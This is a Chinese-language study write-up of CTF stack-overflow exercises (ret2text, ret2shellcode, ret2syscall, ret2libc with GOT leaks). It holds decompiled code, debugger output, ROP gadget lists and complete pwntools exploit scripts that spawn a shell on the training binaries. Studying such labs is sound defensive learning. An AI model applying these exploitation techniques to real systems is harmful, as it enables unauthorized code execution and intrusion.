    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

文章给个一个例子可以看看,就是简单的gets函数的溢出利用:

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入

    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出

    • sprintf
  • 字符串

    • strcpy,字符串复制,遇到’\x00’停止

    • strcat,字符串拼接,遇到’\x00’停止

    • bcopy

确定填充长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
  • 直接地址索引,就相当于直接给定了地址。

一般来说,我们会有如下的覆盖需求

  • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
  • 覆盖 bss 段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

ret2text

例题:ret2text

这个题目和网站上给的ida结果有一点区别,但是题解相同,计算方法也相同

下面是对这个题目的分析:

checksec:

image-20250214164926638

ida32_main:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}

很明显是利用gets函数的漏洞

ida32_secure:

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}

可以看到secure函数中调用了system(“bin/sh”)

因为没有地址随机化,所以可以直接看getshell的地址:

1
2
3
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646

看到getshell的地址是0x0804863A

然后开始计算溢出长度

ida看到gets函数的地址是:0x080486AE

1
2
3
4
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE call _gets
.text:080486B3 mov dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA call _printf

用gdb在gets函数处下断点,看esp和ebp的情况来分析溢出的长度

image-20250214170546473

通过esp的偏移地址来确定变量的地址,再减去ebp的地址,再根据架构确定覆盖old_ebp的长度,最后加上返回地址,即可getshell

变量地址为:0xffffd02c

ebp:0xffffd098

溢出地址= 0xffffd098 - 0xffffd02c = 0x64

32位的程序,所以old_ebp的位置是32位,四个字节,所以再加4 最后加上getshell的返回地址即可

exploit:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = process('./ret2text')

ret_addr = 0x0804863A
payload1 = b'a' * ( 0x64 + 4 ) + p32(ret_addr)

r.recvuntil('There is something amazing here, do you know anything?')
r.sendline(payload1)
r.interactive()

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

例题:
这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。

文章提供的例题:ret2shellcode

例题分析:

checksec:

image-20250215223748528

ida32_main:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
1
2
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends

从反编译的代码可以看出,依旧是简单的栈溢出,

还把s复制给了buf2,然后buf2在bss段上 [ 也就是可读可写可执行的位置 ]

但是这个时候没有后门函数,需要自己编写getshell的代码

再学习一下题目中的调试过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

在main函数下断点,一步步走

然后vmmap查看各个位置的权限,其实感觉在ida里看了也行,但是教程这样写的

粘贴的是我自己的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /mnt/d/scr1w/stack_overflow/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 r--p /mnt/d/scr1w/stack_overflow/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 rw-p /mnt/d/scr1w/stack_overflow/example/ret2shellcode/ret2shellcode
0xf7d82000 0xf7da2000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7f24000 r-xp /usr/lib/i386-linux-gnu/libc.so.6
0xf7f24000 0xf7fa9000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7fa9000 0xf7faa000 ---p /usr/lib/i386-linux-gnu/libc.so.6
0xf7faa000 0xf7fac000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7fac000 0xf7fad000 rw-p /usr/lib/i386-linux-gnu/libc.so.6
0xf7fad000 0xf7fb7000 rw-p mapped
0xf7fbe000 0xf7fc0000 rw-p mapped
0xf7fc0000 0xf7fc4000 r--p [vvar]
0xf7fc4000 0xf7fc6000 r-xp [vdso]
0xf7fc6000 0xf7fc7000 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp [stack]
1
0x0804a000 0x0804b000 rw-p      /mnt/d/scr1w/stack_overflow/example/ret2shellcode/ret2shellcode

可以看到buf2的地址,0x0804A080的权限是可读可写不可执行

但是题目的解析又不是这样的,我也不清楚为什么它的和我的不同

1
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

最后也没办法用题目的exp getshell

exploit:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
1
shellcode = asm(shellcraft.sh())

这行代码生成了一个简单的 Shellcode,其功能是调用 /bin/sh,从而启动一个 Shell。具体步骤如下:

  • shellcraft.sh():这是一个 Pwntools 提供的 Shellcode 模板,用于生成一个简单的 Shellcode,其功能是调用 execve("/bin/sh", NULL, NULL),从而启动一个 Shell。
  • asm():将 shellcraft.sh() 生成的汇编代码转换为机器码。

这个exp的核心部分就是

1
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
  1. shellcode.ljust(112, b'A')
    • ljust(112, b'A'):将 Shellcode 的长度填充到 112 字节。如果 Shellcode 的长度不足 112 字节,会用 b'A'(即 ASCII 字符 A)填充。
    • 这里的 112 字节是根据目标程序的栈溢出漏洞设计的,目的是覆盖目标程序的栈空间,直到返回地址的位置。
  2. p32(buf2_addr)
    • p32():将一个 32 位的地址转换为小端序(little-endian)的字节序列。例如,0x804a080 会被转换为 b'\x80\xa0\x04\x08'
    • 这里的 buf2_addr 是 Shellcode 的存储地址,通过覆盖目标程序的返回地址,使其跳转到 buf2_addr,从而执行 Shellcode。
  3. sh.sendline()
    • 将构造好的攻击数据发送到目标程序的标准输入中,触发栈溢出漏洞。

按照原理理解其实只是要把shellcode的代码写到一个有可执行权限的位置,根据vmmap来看,stack就是有可写可执行权限的位置

我的解题思路:

**总体:**利用pwntools编写getshell的机械码,再计算gets函数的溢出缓冲区长度,最后ret回到栈上执行getshell的机械码

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())
ret_addr = 0xffffd018

sh.sendline(shellcode.ljust(0x74, b'A') + p32(ret_addr))

sh.interactive()

ret_addr 是gets(s)中变量s的地址,根据esp的偏移量计算得到

同时通过s的地址计算出了缓冲区长度0x70,加上32位程序的old_ebp的4位,溢出0x74长度再加返回地址ret_addr执行shellcode代码

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取 shell。

例子

这里我们继续以 bamboofox 中的 ret2syscall 为例。

链接:ret2syscall

checksec:

image-20250216154449342

ida32_main:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

这个文章讲的总是和它的附件出入很大,所以我根据自己的分析学习它的知识点

可以看出这仍然是一个栈溢出,但是根据checksec的NX和ida的信息可以看到没办法通过ret2shellcode和ret2text来解决问题

这里学习一个知识,系统调用

电脑中,系统调用(英语:system call),指运行在用户空间程序操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

操作空间和内核空间

操作系统的进程空间可分为用户空间内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间

库函数

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

经典实现

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。

但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

1
2
3
4
5
6
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

image-20250217212953149

随后选取第二个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

image-20250217213038792

这里选取了0x0806eb90: pop edx ; pop ecx ; pop ebx ; ret

可以控制三个寄存器的值

再利用ropgadget来寻找到’bin/sh’的位置

image-20250217213514583

bin/sh的地址是0x080be408

寻找int 80h的位置

image-20250217213746901

和文章的有点不一样但是没太大关系,我们只需要int 0x80就行了

其对应地址是0x08049421

接下来就是理解一下这exploit

其中 0xb 为 execve 对应的系统调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

我顺带分析一下这个栈的结构,以便更清晰地了解这个过程[]中的表示正常时候栈的位置情况

0x08049421 [main函数的栈的内容]【int 0x80的地址】【高地址】
0x80be408 [main函数的栈的内容]【binsh的地址】
0 [main函数的栈的内容]【ecx的值】
0 [main函数的栈的内容] 【edx的值】
[main函数的栈的内容]【pop_edx_ecx_ebx_ret_addr】
0xb [main函数的栈的内容]【系统调用的eax的值】
0x080bb196 [gets函数的ret_addr] 【pop_eax_ret_addr】
溢出的A[gets函数的old_ebp]
溢出的A[gets函数的栈]【低地址】

随后具体流程就是先跳到ret_eax_addr,然后执行命令,然后再ret,最后再执行命令

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例子:

文章由易到难给出了三个例子

例一:ret2libc1

checksec :

image-20250217210614031

ida32_main:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

最明显的漏洞就是gets函数的栈溢出

ROPgadget:
image-20250217212443212

system()

1
.plt:08048460 ; int system(const char *command)

exploit:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

这里解释一下这个 b’b’*4 是用来当作虚假的返回地址,因为system函数也有返回地址,binsh_addr就是system的函数参数

例二ret2libc2

checksec :

image-20250218093340605

ida32_mian:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

我们需要两个gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。

这道题目的思路和ret2libc1基本一样,但是这个就没有/bin/sh,而是需要我们自己再bss段写入/bin/shx

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

梳理一下这个ROPgadget的过程

第一次的gets:

【高地址】
buf2 [ main的栈 ]
0xdeadbeef [ main的栈 ]
system_addr [ main的栈 ]
buf2 [ main的栈 ]
pop_ebx_addr [ main的栈 ]
gets_addr [ gets_ret_addr ]
‘a’ [ old_ebp ]
‘a’ [ 缓冲区 ]
【低地址】

随后程序就再次ret到了gets函数

ret后,

各个寄存器的状态:

eip gets_addr
rbp ‘aaaa’
esp pop_ebx_addr的存放的位置

随后在get函数的角度应该

【高地址】
buf2 [ main函数的栈 ]
0xdeadbeef [ main函数的栈 ]
system_addr [ main函数的栈 ]
buf2 [ main函数的栈 ]
pop_ebx_addr [ main函数的栈 ]
【低地址】

解释为什么需要调用一个pop_ebx

这里的ebx是代指通用寄存器,在调用完第一次gets之后我们还需要再调用一次gets然后gets函数的参数是由我们自己设计的,也就是buf2,但是自己设计参数后ret的返回地址就需要是system,但是从system函数的角度看我们就会不正确

现在对比一下如果没有这个pop的栈的情况

高地址
buf2 [ system的参数 ]
【按照gets函数的栈的结构来讲应该是buf2】【按照system函数的栈的结构来讲应该是它的system的返回地址喵】
system_addr [ gets_2_ret_addr ]
gets_addr [ ret_addr ]
‘a’ [ old_ebp ]
‘a’ [ 缓冲区 ]
低地址

如图所示会出现矛盾的情况,所以在调用两次及以上的带有参数的函数时,就需要pop来过度一下,在执行完system后程序就死了

但是我试了一下喵,死不死的和我有什么关系喵,我能getshell就行喵,容器坏了也不是我的问题喵

gets函数的汇编代码:

1
2
3
4
5
6
gets:
push ebp ; 保存父函数的栈帧指针
mov ebp, esp ; 建立当前函数的栈帧

mov eax, [ebp + 8] ; 获取目标缓冲区的地址(gets 的参数)
mov ebx, eax ; 将目标缓冲区的地址保存到 ebx

32位子函数调用示意流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
section .data
; 数据段(如果需要)

section .text
global _start

_start:
; 主程序入口
; 调用 sub_function,传递两个参数:5 和 10
push dword 10 ; 参数2(从右到左压栈)
push dword 5 ; 参数1
call sub_function ; 调用子函数
add esp, 8 ; 清理栈(移除两个参数)

; 程序结束
mov eax, 1 ; 系统调用号:退出程序
xor ebx, ebx ; 返回值:0
int 0x80 ; 触发系统调用

sub_function:
; 子函数入口
push ebp ; 保存父函数的栈帧指针
mov ebp, esp ; 建立当前函数的栈帧
sub esp, 0x10 ; 分配局部变量空间(16字节)

; 访问参数
mov eax, [ebp + 8] ; 参数1(5)
mov ebx, [ebp + 12] ; 参数2(10)

; 执行一些操作(例如,将参数相加)
add eax, ebx ; eax = 参数1 + 参数2

; 函数返回
mov esp, ebp ; 恢复父函数的栈指针
pop ebp ; 恢复父函数的栈帧指针
ret ; 返回到调用点

例三:ret2libc3

checksec:

image-20250218142512155

在例题二的基础上,不仅去掉了/bin/sh的地址,system函数的地址也去掉了

ida32_main

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

  • 而 libc 在 github 上有人进行收集,如下: https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考:https://github.com/lieanu/LibcSearcher [ readme ]

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exploit: [ 非原文 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
e = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

payload1构造设计:

image-20250219212110586

先用字符填充缓冲区,也包括old_ebp的地址,再把main函数的返回地址覆盖位puts函数的地址,也就是puts的PLT表

紧接着上图中addr(_start)所在的位置(靠下的图片中浅蓝色的四个格子)相当于puts函数的返回地址,我们要求puts函数执行完成后再次返回main函数的起始位置,故这个位置应当填写main函数起始位置的地址,再往后的四个字节应当填写puts函数的参数,z`即任意一个已经执行过的函数,这里依旧可以填puts的got,因此我们构造的payload1如下:

1
payload1 = b"a" * offset + puts_plt + addr_start + puts_got

文章用lld指令找到了本地的libc

随后看看本地研究这个题目的部分解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析

p = process("./ret2libc3_32")

puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址

payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)

#attach(p, "b *0x0804868F") #这两行注释用于调试程序,读者可以用gdb看看程序的执行过程,断点设置在了gets之前
#pause()

p.sendlineafter("Can you find it !?", payload1)

puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节

print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))

上述部分用于寻找puts的真实地址:

image-20250219214356318

在本地运行两次后会发现他们得到的puts的真实地址不同,但是后三位都是2a0,可以据此找到libc的版本,进而计算libc的基址

基地址 = 真实地址 - 偏移地址

1
2
libc_addr = puts_real_addr - libc.sym['puts']
print(hex(libc_addr))

有了基地址libc_addr,我们就可以寻找system函数和”/bin/sh”字符串的真实地址了:

1
2
system_addr = libc_addr + libc.sym["system"]
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))

有了这两个关键地址就可以开始构造payload2了

image-20250219214904586

payload2的原理就是让main函数的返回地址是system函数的真实地址,其后接任意一个4字节长度的数据,占位,表示system函数的返回地址(是啥不重要,因为执行了system(“/bin/sh”)之后就拿到shell了,我管他返回到哪里),再后面跟着system函数的参数,也就是”/bin/sh”字符串的真实地址即可:

1
2
3
4
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
e = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
